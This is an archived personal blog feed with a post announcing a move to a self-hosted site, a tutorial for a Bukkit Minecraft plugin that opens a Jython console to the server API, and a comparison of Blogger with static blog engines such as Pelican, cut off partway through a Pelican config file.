tag:blogger.com,1999:blog-213902112024-03-05T06:48:49.940+01:00Bed Against The WallYou're reading the archived version of my blog at Blogger. Go to <a href="http://blog.macuyiko.com">http://blog.macuyiko.com</a> to stay up to date.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comBlogger189125tag:blogger.com,1999:blog-21390211.post-29293046196398167952013-07-11T00:59:00.001+02:002017-12-12T22:18:04.174+01:00We're Moving<div style="text-align: center;">
<div style="text-align: left;">
<span style="font-family: inherit;">Although indicated <a href="http://bedagainstthewall.blogspot.be/2013/06/201306i-almost-switched-to-pelican.html" target="_blank">otherwise</a> a few days ago, I've still ultimately decided to <b><i>move my blog</i></b> to a self hosted static site.</span></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
<span style="font-family: inherit;">The new blog is running at <a href="http://blog.macuyiko.com/">http://blog.macuyiko.com/</a>, i.e. the same address as before. Posts that are worthwhile reading have been migrated, but</span><br />
<span style="font-family: inherit;"><br /></span>
<span style="font-family: inherit;">(i) URLs have been lost -- sorry about your deep links and bookmarks and</span><br />
<span style="font-family: inherit;">(ii) comments are lost as well.</span></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div style="text-align: center;">
<div style="text-align: left;">
<span style="font-family: inherit;">Therefore, the old blog (the one you're seeing now) will continue to be available at <a href="http://bedagainstthewall.blogspot.be/">http://bedagainstthewall.blogspot.be/</a>, although new posts will not appear here.</span></div>
</div>
Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-26033776538033724702013-06-30T20:27:00.001+02:002013-06-30T20:35:24.688+02:00A Bukkit Jython Console Plugin for Minecraft<h3 id="summary">
Summary</h3>
This post describes how you can create a Python interpreter for a Bukkit Minecraft server, providing access to the full internal API. Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.<br />
<br />
<h3 id="introduction">
Introduction</h3>
Unless you've been living under a rock, you probably know about <a href="https://minecraft.net/">Minecraft</a>, the famous open block based 3D building/crafting/exploration/survival game.<br />
<blockquote>
Minecraft is a game about breaking and placing blocks. At first, people built structures to protect against nocturnal monsters, but as the game grew players worked together to create wonderful, imaginative things.<br />
<br />
It can also be about adventuring with friends or watching the sun rise over a blocky ocean. It’s pretty. Brave players battle terrible things in The Nether, which is more scary than pretty. You can also visit a land of mushrooms if it sounds more like your cup of tea.</blockquote>
Minecraft has been wildly successful. Not only because of the LEGO-like main gameplay, but also thanks to the developers' friendly stance towards modding, causing an incredible amount of modifications being released, ranging from <a href="http://www.pcgamesn.com/minecraft/twenty-best-minecraft-mods">additional creatures to custom biomes</a>.<br />
<br />
<a href="http://kotaku.com/5981660/a-short-but-wonderful-documentary-about-why-kids-play-minecraft">Lots</a> of people have also emphasized the fact that Minecraft is a great way for parents to bond with their children. Also in the <a href="http://www.studentadvisor.com/pages/5-ways-minecraft-can-help-improve-your-sat-score">classroom</a>, Minecraft has been used as a teaching aid to inspire children.<br />
<br />
Combine the two aspects above (modding and teaching), and you ultimately start wondering whether Minecraft could also be used to teach programming. When the Raspberry Pi put online <a href="http://www.raspberrypi.org/archives/2565">their announcement</a> that a special Minecraft version would be available for their miniature, cheap computer, the answer to this question indeed seems to be: yes, since their "Minecraft: Pi Edition" would come with a programming Python API built in, as shown by the following screen shot.<br />
<br />
<div style="text-align: center;">
<img alt="Minecraft running on the Raspberry Pi" height="291" src="http://i.imgur.com/ieZYEn2.jpg" title="" width="400" /></div>
<br />
Back on the PC-side, the great interest in modding Minecraft eventually led to the <a href="http://bukkit.org/">Bukkit</a> project -- a community-created Minecraft server with a comprehensive API to allow others to create plugins, extending the world, gameplay and rules of the vanilla Minecraft experience. Minecraft server administrators also enjoy having some sort of console available to be able to modify a Minecraft world at runtime. Banning players, erecting or destroying structures or changing the time of day without having to restart indeed comes in handy when you're running a server. The Bukkit development API makes it very easy to create such kinds of plugins, but they often require the list of possible commands to be specified beforehand (in the Java plugin), which are then made available through the game's chat window. For instance, issuing the command:<br />
<br />
<pre><code>/weather sunny
</code></pre>
<br />
Would mean that you have a plugin running which is able to handle the command <code>/weather</code> and converts this to appropriate Bukkit API calls, e.g. <a href="http://jd.bukkit.org/rb/apidocs/org/bukkit/World.html#setThundering%28boolean%29"><code>setThundering</code></a>.<br />
<br />
Other than that, lots of people have started to learn Java or other languages by trying to create a Bukkit plugin or some sort of Minecraft-inspired clone. Following list provides just a tad of what is out there:<br />
<ul>
<li><a href="http://www.planetminecraft.com/blog/learning-java-bukkit-style---part-1-or-how-to-program-a-minecraft-plugin/">Learning Java: Bukkit Style</a></li>
<li><a href="https://blogs.oracle.com/arungupta/entry/introducing_kids_to_java_programming">Introducing Kids to Java Programming Using Minecraft<br />
</a> -- on Oracle's blog</li>
<li><a href="https://github.com/Overv/MineAssemble">MineAssemble</a> -- not for Bukkit, but a bootable Minecraft clone written partly in x86 assembly, impressive</li>
<li><a href="https://github.com/fogleman/Minecraft">https://github.com/fogleman/Minecraft</a> -- also not for Bukkit, but a clone in Python and Pyglet</li>
<li><a href="http://www.wired.com/wiredscience/2012/02/minecraft-physics/">Learning Physics with Minecraft</a> -- not programming, but learning physics with Minecraft</li>
<li><a href="http://mathematica.stackexchange.com/questions/19669/mathematica-minecraft">Minecraft in Mathematica</a> -- ...and even Mathematica clones</li>
</ul>
This is all nice, but a bit too high-level for what I wanted to build. I wanted to have direct access to the Bukkit API, similar to how the Minecraft: Pi Edition provides direct access to its API.<br />
<br />
We're thus going to create a Bukkit plugin which gives server administrators or programming students direct access to the full Bukkit API. The actual plugin is actually very simple, thanks to the magic of Jython, a Python implementation in Java which allows for Python<->Java crosstalk and saves us from having to implement any command in the plugin itself. Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.<br />
<h3 id="related-work">
Related Work</h3>
The base idea behind what we're going to do is certainly not new by any means. The <a href="http://www.raspberrypi.org/archives/2565">Minecraft: Pi Edition</a>, as mentioned above, implements a similar idea (<a href="http://www.stuffaboutcode.com/2013/06/programming-minecraft-with-bukkit.html">see also this article</a>). The Mag Pi magazine even <a href="http://www.stuffaboutcode.com/2013/04/minecraft-pi-edition-api-tutorial.html">featured a nice tutorial</a> to show off what you can do with it.<br />
<br />
Other than that, there's <a href="http://scriptcraftjs.org/">ScriptCraft</a>, providing a Javascript based programming interface for Minecraft:<br />
<blockquote>
ScriptCraft is a Minecraft Mod that lets you extend Minecraft using the Javascript Programming Language. ScriptCraft makes modding Minecraft easier. It includes a logo-like "Drone" object that can be used to build complex buildings, roads, villages, even entire cities. It also includes many other features that make modding Minecraft easier.</blockquote>
You can find more information about ScriptCraft <a href="http://walterhiggins.net/blog/YoungPersonProgrammingMinecraft">here</a> and <a href="http://walterhiggins.net/blog/ScriptCraft">here</a>. It's certainly a great project to teach programming, but comes with the drawback that it offers programmers its own API (implemented in a Bukkit plugin), meaning that you'll have to program using Bukkit chat commands, for instance:<br />
<br />
<pre><code>/js box("5").up(3).left(4).box("1").turn(3).fwd(5).right().box("1").move("start")
</code></pre>
<br />
ScriptCraft also includes a "Drone" class which simplifies movement and building in Minecraft, similar to the "turtle" in the LOGO programming language (LOGO is a Lisp-like programming language which used to be popular to teach kids programming; fun fact: the first "real" programming language I learnt actually was a LOGO derivative).<br />
<br />
This is all nice, but still too high-level. I want to be able to get direct access to all Bukkit's API functions (not only exposed ones through a plugin), preferably not having to use the game's chat.<br />
<br />
<a href="http://www.rockpapershotgun.com/2013/01/07/coding-in-minecraft/#more-137060">ComputerCraft</a> also inspires people to learn coding, but is even more high level. It actually provides a "console block" in the game offering a rudimentary shell which has nothing to do with the inner workings of either Bukkit or Minecraft.<br />
<br />
Finally, plugins such as <a href="http://dev.bukkit.org/bukkit-plugins/pydevtools/">PyDevTool</a> and <a href="http://dev.bukkit.org/bukkit-plugins/redstonetorch/">RedstoneTorch</a> come closer to what we want to achieve. For instance, PyDevTools allows to:<br />
<blockquote>
Execute arbitrary python code from console or ingame <br />
Execute saved python scripts<br />
Interactive interpreter mode</blockquote>
This is almost exactly what I wanted to build, but still requires to log into the game to execute <code>/py <statement></code> commands. Yes, these can also be entered in the Bukkit console (offering some kind of interactive shell), but I wanted to remove the <code>/py</code> clutter. A simple trick indeed will allow us to do so, let's get right to it...<br />
<h3 id="making-the-plugin">
Making the Plugin</h3>
We'll be using Eclipse to make our Bukkit plugin. I'll assume you know how this IDE works already. If you're not familiar with Java and just want to try the plugin, you can skip this section. Otherwise, follow along.<br />
<br />
First of all, we're going to create a new Java project in Eclipse. I'll call this <code>BukkitConsole</code>. We create a <code>plugin.yml</code> file in the project root with some basic information:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGqZiJgD9eBIusD1HSUWKl0K70iPEk8DE2US_LtvjrOxjio3o3Qi3sDWb5Dssikr4nwxNXAqeYFAa2yDuJ93CnrvAnmF-Ln5GGN7HWcLEfRnVy4joXNbD02tIzQduF4Gmdq4j6pQ/s566/03.gif"><img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGqZiJgD9eBIusD1HSUWKl0K70iPEk8DE2US_LtvjrOxjio3o3Qi3sDWb5Dssikr4nwxNXAqeYFAa2yDuJ93CnrvAnmF-Ln5GGN7HWcLEfRnVy4joXNbD02tIzQduF4Gmdq4j6pQ/s320/03.gif" title="" /></a></div>
<br />
Next up, we create a <code>lib</code> folder in which we're going to place two libraries:<br />
<ul>
<li><code>jython-standalone-*.jar</code>: to be downloaded from the <a href="http://www.jython.org/downloads.html">Jython</a> web site</li>
<li><code>bukkit-*.jar</code>: the Bukkit development API, which can be downloaded from <a href="http://dl.bukkit.org/latest-dev/bukkit.jar">here</a> (more information on <a href="http://wiki.bukkit.org/Plugin_Tutorial">their Wiki</a>)</li>
</ul>
Add these libraries to the build path. You'll now have the following structure:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkhf3Pug9803AfqYZ3mLKBexzrTDcq1J1387_TbvRQ_HvA1AbCjI9Uilt6VfcVbpYDSNko5upmZ0unJm2zTq6vXYhHS7qW0iu73k1oSJDbyU461iJ7zg46OAxith16gETgVIBHhQ/s280/04.gif"><img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkhf3Pug9803AfqYZ3mLKBexzrTDcq1J1387_TbvRQ_HvA1AbCjI9Uilt6VfcVbpYDSNko5upmZ0unJm2zTq6vXYhHS7qW0iu73k1oSJDbyU461iJ7zg46OAxith16gETgVIBHhQ/s320/04.gif" title="" /></a></div>
<br />
Next, we'll create the plugin classes themselves. Create a package under <code>src</code> called <code>com.macuyiko.bukkitconsole</code>. We're going to add two classes.<br />
<br />
<code>MainPlugin.java</code>, this class just loads the libraries from the <code>lib</code> folder and spawns a <code>PythonConsole</code> window:<br />
<br />
<pre><code>package com.macuyiko.bukkitconsole;
import java.io.File;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.plugin.java.PluginClassLoader;
public class MainPlugin extends JavaPlugin {
public void onEnable(){
getLogger().info("BukkitConsole: Loading libs");
try {
File dependencyDirectory = new File("lib/");
File[] files = dependencyDirectory.listFiles();
getLogger().info("BukkitConsole: JARs found: "+files.length);
for (int i = 0; i < files.length; i++) {
if (files[i].getName().endsWith(".jar")) {
getLogger().info("BukkitConsole: - "+files[i].getName());
((PluginClassLoader) this.getClassLoader()).addURL(
new File("lib/"+files[i].getName()).toURI().toURL());
}
}
} catch (Exception e) {
e.printStackTrace();
}
getLogger().info("BukkitConsole: Starting Jython console");
new PythonConsole();
}
public void onDisable(){
getLogger().info("BukkitConsole: Plugin was disabled");
}
}
</code></pre>
<br />
<code>PythonConsole.java</code>, this class employs Jython to execute <code>console.py</code> in the <code>python</code> directory:<br />
<br />
<pre><code>package com.macuyiko.bukkitconsole;
import org.python.core.Py;
import org.python.core.PyString;
import org.python.core.PySystemState;
import org.python.util.PythonInterpreter;
public class PythonConsole {
public PythonConsole() {
PySystemState.initialize();
PythonInterpreter interp = new PythonInterpreter(null,
new PySystemState());
PySystemState sys = Py.getSystemState();
sys.path.append(new PyString("."));
sys.path.append(new PyString("python/"));
String scriptname = "python/console.py";
interp.execfile(scriptname);
}
}
</code></pre>
<br />
Things'll now look as follows:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgILvrQQE33zYiYzCuIyiWb89EzzFEUXKOHTwRtVYjOLZuzqNAXo1MWLQe1yq2fsObI0xDgdtc5d9iCL6O6IXTXJY_53EZHP9f1kDmtwxJ0zCizD3xZlF1Bspg6EpFEoKROB6DBKA/s1064/05.gif"><img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgILvrQQE33zYiYzCuIyiWb89EzzFEUXKOHTwRtVYjOLZuzqNAXo1MWLQe1yq2fsObI0xDgdtc5d9iCL6O6IXTXJY_53EZHP9f1kDmtwxJ0zCizD3xZlF1Bspg6EpFEoKROB6DBKA/s320/05.gif" title="" /></a></div>
<br />
That's it for the Java side! Export your project to <code>bukkitconsole.jar</code>.<br />
<br />
We're now going to setup the server. Create a folder <code>server</code> somewhere. Next, download <code>craftbukkit-*.jar</code> from <a href="http://dl.bukkit.org/latest-rb/craftbukkit.jar">here</a> (Bukkit is the development API, "CraftBukkit" is the actual server; again, more info on the <a href="http://wiki.bukkit.org/Setting_up_a_server">Wiki</a>) and put it in this folder.<br />
<br />
We're also going to create a simple <code>run.bat</code> in this folder:<br />
<br />
<pre><code>java -Xmx1024M -jar craftbukkit-*.jar -o true
PAUSE
</code></pre>
<br />
Execute <code>run.bat</code> to see whether CraftBukkit works fine and if you can connect with your Minecraft client (note: if you're running the current snapshot, the launcher should allow you to create a profile with version 1.5.2, which is what we're using here). Normally, you should get something like:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbIAqfnQQ-mfhAYfC43_9-jcklA69n5zucSQkT1nmzixtFQPIf0hEDC72CVBqRHJymOF9lp_7z34faMGZuL2QQPJXq6D8kB2pOnUe4goB-G0V3_uCgxFL3003q5h9I23LsLBpvPw/s988/07.gif"><img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbIAqfnQQ-mfhAYfC43_9-jcklA69n5zucSQkT1nmzixtFQPIf0hEDC72CVBqRHJymOF9lp_7z34faMGZuL2QQPJXq6D8kB2pOnUe4goB-G0V3_uCgxFL3003q5h9I23LsLBpvPw/s400/07.gif" title="" /></a></div>
<br />
Enter <code>stop</code> to stop the server. CraftBukkit will have create some new folders in your <code>server</code> directory:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKnQQpIZ_hpWavuVwvMcIPls0xhpPeJ9TxEniPkUbCjIbM9ERKKNS8-N8iz3q7dce2H2UbtVOQXdzLmUFBC3zoQAyel5rl4YBrPU_-CbAe27KQelscDwIt_YEFk9j5hhPuk7c2JA/s400/08.gif"><img alt="" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKnQQpIZ_hpWavuVwvMcIPls0xhpPeJ9TxEniPkUbCjIbM9ERKKNS8-N8iz3q7dce2H2UbtVOQXdzLmUFBC3zoQAyel5rl4YBrPU_-CbAe27KQelscDwIt_YEFk9j5hhPuk7c2JA/s400/08.gif" title="" width="400" /></a></div>
<br />
Next, we're going to download a Jython console. I picked <a href="http://don.freeshell.org/jython/">this one by Don Coleman</a>, since it is simple and offers fairly robust code completion. Note that I had to make some changes to it which can be found on the <a href="https://github.com/Macuyiko/minecraft-bukkit-console">GitHub repository</a> I've created for this project. Not using these changes is okay but will lead to some error spam on the Bukkit console.<br />
<br />
Create a folder called <code>python</code> in <code>server</code> and extract the Jython console. <code>python</code> should contain:<br />
<ul>
<li><code>console.py</code></li>
<li><code>history.py</code></li>
<li><code>introspect.py</code></li>
<li><code>jintrospect.py</code></li>
<li><code>popup.py</code></li>
<li><code>tip.py</code></li>
</ul>
We also need to create a <code>lib</code> folder in <code>server</code> and put in the following JARs:<br />
<ul>
<li><code>bukkit-*.jar</code></li>
<li><code>jython-standalone-*.jar</code></li>
</ul>
Yes... the same ones we've included in our Eclipse project. It would have been possible to package these into the JAR, but loading in resources from JAR files is a bit of a pain which I didn't want to go through. Feel free to add <code>lib</code> and <code>python</code> to the JAR and submit a pull request on GitHub if you get things working.<br />
<br />
That's it. Try executing <code>run.bat</code> again. If all goes right, Bukkit should be able to load in our console plugin and will present you with an interpreter:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg25XJG51tS-88X3d0kxfuriQvAZNn3HII_FzJg1aQDBt3VEnJNjURVjIyDBbb-BhzS0YL-BfOj9UGzj0GjSL_Wru4uETMFO43lTlzzsfVoBXqIoFtNtEICdGRKVHZqmia356gteg/s987/10.gif"><img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg25XJG51tS-88X3d0kxfuriQvAZNn3HII_FzJg1aQDBt3VEnJNjURVjIyDBbb-BhzS0YL-BfOj9UGzj0GjSL_Wru4uETMFO43lTlzzsfVoBXqIoFtNtEICdGRKVHZqmia356gteg/s400/10.gif" title="" /></a></div>
<br />
We can try out some commands. Note that you'll have to <code>from org.bukkit.Bukkit import *</code> to get access to the Bukkit API (or <code>from org.bukkit import Bukkit</code> -- you'll have to use <code>Bukkit.*</code> but will allow autocompletion)!<br />
<br />
<pre><code>>>> from org.bukkit.Bukkit import *
>>> getWorlds()
[CraftWorld{name=world}, CraftWorld{name=world_nether}, CraftWorld{name=world_the_end}]
>>> w = getWorld("world")
>>> w.getTemperature(0,0)
0.800000011920929
>>> w.getBiome(0,0)
PLAINS
>>> w.getTime()
12557L
>>> w.getPlayers()
[]
>>>
</code></pre>
<br />
The <a href="http://jd.bukkit.org/rb/apidocs/">Bukkit API docs</a> provide a full overview of all that is possible with the complete API. Broadcasting messages, changing inventories, changing worlds, spawning lightning, all is possible.<br />
<br />
You can also save functions in Python scripts if you want to. For example, try creating a <code>scripts.py</code> in the <code>server</code> folder:<br />
<br />
<pre><code>import random
import time
from org.bukkit.Bukkit import *
def punishPlayer(name, power):
p = getPlayer(name)
p.getWorld().strikeLightning(p.getLocation())
p.getWorld().createExplosion(p.getLocation(), power)
broadcastMessage("Player %s has been punished!" % (name))
</code></pre>
<br />
Now, in the console, we can:<br />
<br />
<pre><code>>>> import scripts
>>> scripts.punishPlayer("Macuyiko", 6)
</code></pre>
<br />
Which will explode a player with a lightning strike to warn other outlaws. The server administrator's "command center" now looks like this:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZijBJIhxgJS6aGZjf-iV5h5DS6H3RMSn-wjIkidVqmIq1mzXch-9Ug05m5xoZoGC6_yToLBarr0H-C_QvByyaXVaV8vFKZrhJPHEIAzWukrrVH87P9zgzu7_y1voAWnSIYF3Tog/s1600/11.gif"><img alt="" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZijBJIhxgJS6aGZjf-iV5h5DS6H3RMSn-wjIkidVqmIq1mzXch-9Ug05m5xoZoGC6_yToLBarr0H-C_QvByyaXVaV8vFKZrhJPHEIAzWukrrVH87P9zgzu7_y1voAWnSIYF3Tog/s400/11.gif" title="" width="400" /></a></div>
<br />
<h3 id="wrapping-up">
Wrapping Up</h3>
That's it. We've created a Bukkit plugin spawning a Jython interactive console which is able to use the full Bukkit API.<br />
<br />
This is a nice starting point to create administrative support scripts, in-game games, or course material for a Minecraft Python programming course.<br />
<br />
The following video shows some more tinkering:<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/rI3PfgCSI7Y" width="560"></iframe><br /></div>
<br />
(Protip: I'm a bit awkwardly using alt-tab and the inventory screen here. If you press <code>T</code> to start typing in chat, you can alt-tab out of the game without pausing or having the inventory screen opened, which allows you to better see what's going on.)<br />
<br />
The source code for this project can be found on the <a href="https://github.com/Macuyiko/minecraft-bukkit-console">following GitHub repo</a>. The repository also hosts everything you need to get running without having to code/compile anything. Feel free to modify both the Python and Java sources and submit pull requests with improvements. I'd also love to hear about any cool or interesting things you do with this.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com1tag:blogger.com,1999:blog-21390211.post-2117475781305142332013-06-29T22:01:00.001+02:002013-06-29T23:57:00.416+02:00I Almost Switched to Pelican, a Static Blog EngineVisitors familiar with my blog will notice a pretty big change when viewing this post. The blog's been due for a redesign for some time now, so a few days ago I finally went through with it.<br />
<br />
The redesign took more time than expected, since I spent quite a lot of time setting up <a href="http://blog.getpelican.com/">Pelican</a> -- a static blog engine written in Python, including converting all my Blogger posts to Markdown. I will describe some of the reasoning behind this, together with the reason why I ultimately stayed with Blogger -- for now.<br />
<h3 id="whats-wrong-with-blogger">
What's Wrong with Blogger?</h3>
I've been using Blogger for many years. Delving into the archives of this site suggest I've been seriously using it since 2005, with my main blog being called "Macuyiko's Mindcube" back then. In fact, it's <a href="http://macuyiko.blogspot.be/">still online</a>, with the last post redirecting visitors to my new blog ("Bed Against The Wall").<br />
<br />
Throughout the years, that -- this -- blog went through a series of redesigns and shifted through topics of interest. To be honest, I was never that good at consistently putting out content, but being able to keep the thing running for almost ten years now is an accomplishment in itself, I suppose.<br />
<br />
Anyway, I've been getting somewhat disappointment with Blogger lately, something which started some two or three years ago, when I started putting out longer articles, containing also more code fragments. Don't get me wrong, I don't think Blogger is bad, but the following things were becoming an annoyance:<br />
<ul>
<li>I've seen my fair share of Javascript WYSIWYG editors -- either bolted to your favorite blogging platform of choice or "that PHP Content Management System from the nineties". While libraries and frameworks such as JQuery have helped to clear out some of the mess, I honestly feel that 99% of them still behave like crap.<br />
I'll not go into details about all the things wrong with Javascript editors now. Still, there is one silver lining which is worth mentioning: the amount of great Markdown based Javascript editors which have appeared during the past years. For example, check out <a href="http://epiceditor.com/">EpicEditor</a>, <a href="http://markitup.jaysalvat.com/home/">markItUp!</a>, <a href="http://jrmoran.com/playground/markdown-live-editor/">markdown live editor</a>, <a href="https://code.google.com/p/wmd/">WMD</a> (outdated) and its <a href="http://blog.stackoverflow.com/2008/12/reverse-engineering-the-wmd-editor/">many</a> <a href="https://code.google.com/p/pagedown/">spinoffs</a>. I absolutely love Markdown, and have even forced it to users of websites I've built, using one of the aforementioned Javascript editors to make it clear how easy it is to write Markdown text.<br />
At this point you might be wondering what, exactly, is so messed up about the Blogger WYSIWYG editor. There isn't anything <em>really</em> wrong with it, but the following has been bothering me:<br />
<ul>
<li>Inserting code is a problem. You have to deal with <code>pre</code>, <code>tt</code>, <code>code</code> tags together with installations of Pretty Print (or similar libraries). Don't forget to convert your <code><</code>'s to <code>&lt;</code> or things won't work. Make sure your whitespace is correct, meaning that you alternate between tabs, spaces, or a bunch of <code>&nbsp;</code>'s.</li>
<li>So okay, maybe Blogger isn't great for code, but at least it's perfect for writing, right? Not really. It's okay, but the rise of recent "modern magazines" such as <a href="https://medium.com/">Medium</a> and <a href="https://svbtle.com/">SVBTLE</a> have made it clear that writing can be a much smoother process. Heck, even Wordpress' editor is nicer, and will apply many typographic fixes such as converting two dashes to an em-dash.</li>
<li>Blogger allows too many formatting options. Since its editor is a WYSIWYG on top of HTML, it's perfectly fine to copy-paste in ugly text coming from an e-mail message or that Word document you typed out... <code><span></code> with <code>mso-style</code>, anyone? Please, just allow me to apply headings, emphasis, lists and paragraphs to my text, but let the theme CSS do its thing and leave out the styling.</li>
</ul>
</li>
<li>Making changes to the template is bothersome. Blogger's template system is fine as long as you keep using one of the default themes, maybe make some slight color or font changes, and leave the rest as is. Once you want to start moving stuff around however, add backgrounds or lots of custom CSS/JS, things get harder and you quickly and up in the middle of "tag soup". I didn't even manage to change the background of the final theme I was using once, even though I was initially planning to do so once in awhile. It's not hard, but my laziness outshines the difficulty.</li>
</ul>
That said, there are plenty of things which I do like about Blogger. It's very easy to set up a basic blog, there are many widgets to choose from, basic templating stuff is fine if you don't mind your blog having a common look and feel. Also, comment management and moderation works pretty well, especially now with the Google+ integration. <br />
<br />
So, in short, what I wanted was:<br />
<ul>
<li>The ability to write in Markdown</li>
<li>The ability to easy add in code, syntax highlighted if possible</li>
<li>Nice typographic options, beautiful text</li>
<li>Easy theming support</li>
</ul>
Blogger was starting to make this pretty hard.<br />
<h3 id="solutions-workarounds-and-alternatives">
Solutions, Workarounds and Alternatives</h3>
<h4 id="just-continue-to-use-blogger">
Just continue to use Blogger?</h4>
I'm not alone in my desire to use Markdown with Blogger. The topic has actually been discussed to a great extent, with solutions including the following:<br />
<ul>
<li>Write Markdown on your computer, <a href="http://notely.blogspot.be/2011/08/how-to-use-markdown-in-blogspot-posts.html">then convert to HTML</a> with one of many tools out their. Cons: redundancy, no central "post" repository, making edits is hard. Not 100% web based.</li>
<li>Use one of these neat apps such as <a href="http://mac.appstorm.net/reviews/productivity-review/byword-2-is-the-markdown-blogging-app-weve-been-waiting-for/">Byword</a> (<a href="http://www.red-sweater.com/marsedit/">MarsEdit</a> as well?) which lets you publish to Blogger. Cons: not 100% web based, no central posts repository. Often Mac only...</li>
<li>Write a web app using Blogger's API which would allow me write posts using Markdown and publish them to Blogger after converting them to HTML. But this would've taken so much effort.</li>
<li>Include a bunch of magic Javascript scripts/parsers on your Blogger blog which will perform the conversion of Markdown to HTML client-side. This keeps your posts centrally stored, but relies on too much hacks to feel like a great solution. Still, it's <a href="http://webreflection.blogspot.be/2013/04/writing-markdown-in-blogger.html">being</a> <a href="http://blog.chukhang.com/2011/09/markdown-in-blogger.html">used</a>. <a href="https://github.com/p01/mmd.js">mmd.js</a> seems to be the preferred Javascript Markdown parser as of now.</li>
</ul>
<h4 id="switch-to-another-service">
Switch to another service</h4>
There has been a renaissance of writing on the web. When 2012 used to be about Tweets and short status updates, sites like <a href="http://neocities.org/">Neocities</a> or <a href="https://medium.com/">Medium</a> are putting the emphasis back on simple, well written web sites.<br />
Indeed, the options for a minimalistic blog are many. Many of them support Markdown out of the box. Many of them do away with many typical overblown blogging features. No comments, no complex theming, just writing:<br />
<ul>
<li><a href="http://tumblr.com/">Tumblr</a></li>
<li><a href="https://medium.com/">Medium</a></li>
<li><a href="https://svbtle.com/">SVBLTE</a></li>
<li><a href="http://scriptogr.am/">Scriptogram</a></li>
<li><a href="http://calepin.co/">Calepin</a></li>
<li><a href="http://pages.github.com/">GitHub Pages</a></li>
</ul>
I will admit, these all look fantastic. I'm already using Tumblr for my <a href="http://tumblr.macuyiko.com/">random stuff I find online blog</a>; the Dropbox based options look like great Zen-like blogging experience. I have my invite for Medium, and the platform looks fantastic.<br />
<br />
I would've gone with one of these options (in fact, I'm still on the fence), but I was a bit disappointed with (i) the lack of code formatting support on most of these platforms, (ii) the lack of any theming to make yourself stand out.<br />
<h4 id="host-it-yourself-static-like">
Host it yourself, static-like</h4>
A final alternative solution I was considering was hosting the blog myself using a static blog engine. I don't mind Wordpress, but think it's completely overkill for a simple use case such as mine. I considered the following options:<br />
<ul>
<li><a href="http://jekyllrb.com/">Jekyll</a>: Ruby, Markdown or Textile, robust, proven, powers GitHub Pages...</li>
<li><a href="http://octopress.org/">Octopress</a>: sits on top of Jekyll to provide a more full featured blogging platform.</li>
<li><a href="http://hyde.github.io/">Hyde</a>: "Jekyll's evil twin". Python, Jinja2, full-featured.</li>
<li><a href="http://jaspervdj.be/hakyll/">Hakyll</a>: Haskell, robust, esoteric.</li>
<li><a href="https://github.com/posativ/acrylamid/">Acrylamid</a>: Python, Markdown and reStructuredText, Jinja2. Fast, experimental.</li>
<li><a href="https://github.com/stef/utterson">Utterson</a>: Unix, HTML. Basic, experimental.</li>
<li><a href="http://rog.rubyforge.org/">Rog</a>: Ruby, simple, young.</li>
<li><a href="https://pypi.python.org/pypi/cyrax">Cyrax</a>: Python, Jinja2, young.</li>
<li><a href="http://www.marco.org/secondcrack">Second Crack</a>: PHP, one of the few PHP static blogging engines worth mentioning these days (shows how the language has evolved, actually...). Created by Marco Arment, so you know it can hold its own. Not suitable for everyone though.</li>
<li><a href="http://pelican.readthedocs.org/">Pelican</a>: Python, Jinja2, Markdown and others, well-featured, easily usable.</li>
</ul>
Ultimately, I settled on Pelican. I liked Jekyll, but wanted a Python based engine since I didn't want to deal with installing Ruby on the server I'd be using. Installing Pelican is very simple. Just <code>pip install</code> <code>pelican</code>, <code>Markdown</code> and <code>typogrify</code> and you're set. <a href="http://jeffcroft.com/blog/2007/may/29/typogrify-easily-produce-web-typography-doesnt-suc/">Typogrify</a> is a great Python library which helps you to prettify written text, mostly thanks to Gruber's fantastic <a href="http://daringfireball.net/projects/smartypants/">SmartyPants</a> plug-in.<br />
<br />
Configuration is just an easy step consisting of modifying <code>pelicanconf.py</code>:<br />
<pre class="prettyprint"><code>#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = u'Your Name Here'
SITENAME = u'Your Title Here'
SITEURL = ''
TIMEZONE = 'Europe/Brussels'
DEFAULT_LANG = u'en'
TYPOGRIFY = True
# Generation
DIRECT_TEMPLATES = ('index', 'archives')
MONTH_ARCHIVE_SAVE_AS = 'archives/{date:%Y}/{date:%m}/index.html'
YEAR_ARCHIVE_SAVE_AS = 'archives/{date:%Y}/index.html'
# Feeds
FEED_ATOM = 'feeds/atom.xml'
FEED_RSS = 'feeds/rss.xml'
FEED_ALL_ATOM = None
